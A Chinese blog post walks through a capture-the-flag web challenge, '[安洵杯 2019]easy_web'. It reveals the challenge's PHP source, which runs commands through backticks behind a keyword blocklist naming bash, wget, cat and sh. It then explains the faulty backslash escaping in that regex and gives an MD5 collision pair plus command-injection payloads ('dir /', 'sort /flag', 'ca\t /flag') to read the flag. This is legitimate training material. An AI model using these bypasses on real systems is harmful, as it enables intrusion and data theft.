Z1d10tのBlog

A note for myself,have fun!

[安洵杯 2019]easy_web

打开题目抓包分析:

img

发现图片是通过base64编码进行输出的 看了大佬的wp img=TXpVek5UTTFNbVUzTURabE5qYz0 即文件名是先进行十六进制编码在进行两次base64编码 解码查看原文件名

第一次:base64

img

第二次: base64 得到hex编码数

img

第三次:在进行十六进制解码

img

那么我们可以这种方式进行构造查看index.php

爆出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));


$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}


?>

代码分析:

get方式传入cmd 但是要进行一个正则匹配

再通过 post方式传a与b 要求a与b不相等 但是md5加密后相等

先来看正则匹配

河蟹了一些常用的linux命令和一些字符 这里重点来看一下反斜杠的屏蔽 其实这道题这里匹配反斜杠出现问题了

本地测试:

1
2
3
4
5
6
7
<?php
$cmd="\\";
var_dump($cmd);
if (preg_match('/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i', $cmd)){
echo "yes";
}
?>

img|\\|\\\\| 这里两个反斜杠的第二个反斜杠转义了第二个| 使得这一块出现了错误

最终这里就是匹配 \|\\\\这一块 因此可以用反斜杠

本地测试:

1
2
3
4
5
6
7
<?php
$cmd="\|\\\\";
var_dump($cmd);
if (preg_match('/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i', $cmd)){
echo "yes";
}
?>

img

但是如果我们想匹配一个\ 那么我们在编写正则的时候就需要\\\来达到匹配一个\的效果

1
2
3
4
5
6
7
<?php
$cmd="\\";
var_dump($cmd);
if (preg_match('/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i', $cmd)){
echo "yes";
}
?>

img

接着来看第二部分md5强相等

一开始我是想通过数组方式绕过 但是这道题在post a和b值后对他们进行了强制转换为字符串类型 因此不能用数组绕过了

只能用一个脚本进行md5碰撞 使得两个字符的md5值强相等

只能借助fastcoll这个工具 具体参考:https://blog.csdn.net/shuaicenglou3032/article/details/118197904?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167785642816800213071097%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=167785642816800213071097&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-118197904-null-null.142^v73^insert_down3,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=fastcoll&spm=1018.2226.3001.4187 这篇文章

注意最后生成的结果是通过url编码后的 如果不进行url编码 那么结果会出现乱码 本地测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$a = "fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00NkutV%9B%EE%A4%86%BA%840%5B%E0%14%F4%5B%22-%E8%07l%DA%A1%26%06%3BqK%10%92%2B%08%FE%C9%C4H%94%3F%F2k%CE%C0%1A%87K%DE_%8A7%EA%94%C7%3B%B4%2A%83%D0%3Fl%B3%25%F6%E5%F6%B2%11%E0%21%CFA%8EM%7E%CB%C5%2C%17%E6%0A%B97%09%87P%5B%121%09%B3%00%C0%2B%60h%B8%D3%DD+D%9F%C3%A24tBFS%1Al%EDP%2C%D5%18Q9%EB%B6%89ZW%F4%E5iOa%B0";
$b = "fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00NkutV%9B%EE%A4%86%BA%840%5B%E0%14%F4%5B%22-h%07l%DA%A1%26%06%3BqK%10%92%2B%08%FE%C9%C4H%94%3F%F2k%CE%C0%1A%87%CB%DE_%8A7%EA%94%C7%3B%B4%2A%83%D0%3F%EC%B3%25%F6%E5%F6%B2%11%E0%21%CFA%8EM%7E%CB%C5%2C%17%E6%0A%B97%09%07P%5B%121%09%B3%00%C0%2B%60h%B8%D3%DD+D%9F%C3%A24tBFS%1A%EC%ECP%2C%D5%18Q9%EB%B6%89ZW%F4eiOa%B0";
echo urldecode($a);
echo "\n";
echo urldecode($b);
echo "\n";
echo "--------------------------------------------------";
echo "\n";
if(md5(urldecode($a))===md5(urldecode($b))){
echo "yes";
}
else{
echo "no";
}
?>

img

因为我们提交的内容会被浏览器默认url解码一次 所以结果都是一样的

但是我们查读文件所需的 ls cat都被正则匹配了这里应该怎么绕过呢

第一种方式:

可以用dir来代替ls 进行浏览文件

作用和ls一样

img

sort代替cat进行读文件

img

img

注意这里抓包payload的时候要将提交方式改为post 第一次做一直都是get传参一直没做出来 之后才发现要将bp的传参方式改为post 空格用url编码方式%20细节很重要

构造payload:?cmd=dir%20/

post:a=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00NkutV%9B%EE%A4%86%BA%840%5B%E0%14%F4%5B%22-%E8%07l%DA%A1%26%06%3BqK%10%92%2B%08%FE%C9%C4H%94%3F%F2k%CE%C0%1A%87K%DE_%8A7%EA%94%C7%3B%B4%2A%83%D0%3Fl%B3%25%F6%E5%F6%B2%11%E0%21%CFA%8EM%7E%CB%C5%2C%17%E6%0A%B97%09%87P%5B%121%09%B3%00%C0%2B%60h%B8%D3%DD+D%9F%C3%A24tBFS%1Al%EDP%2C%D5%18Q9%EB%B6%89ZW%F4%E5iOa%B0&b=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00NkutV%9B%EE%A4%86%BA%840%5B%E0%14%F4%5B%22-h%07l%DA%A1%26%06%3BqK%10%92%2B%08%FE%C9%C4H%94%3F%F2k%CE%C0%1A%87%CB%DE_%8A7%EA%94%C7%3B%B4%2A%83%D0%3F%EC%B3%25%F6%E5%F6%B2%11%E0%21%CFA%8EM%7E%CB%C5%2C%17%E6%0A%B97%09%07P%5B%121%09%B3%00%C0%2B%60h%B8%D3%DD+D%9F%C3%A24tBFS%1A%EC%ECP%2C%D5%18Q9%EB%B6%89ZW%F4eiOa%B0img

构造payload:?cmd=sort%20/flag

img

第二种方式 之前说正则匹配没有过滤反斜杠

反斜杠在linux命令中也是起着转义的意义 那么在字母前加\就等于没加 \n这种特殊情况除外

img

那么就可以在命令中添加反斜杠进行绕过正则匹配

构造payload:?cmd=l\s%20/

img

再构造:?cmd=ca\t%20/flag

成功

img

本文最后更新于 天前,文中所描述的信息可能已发生改变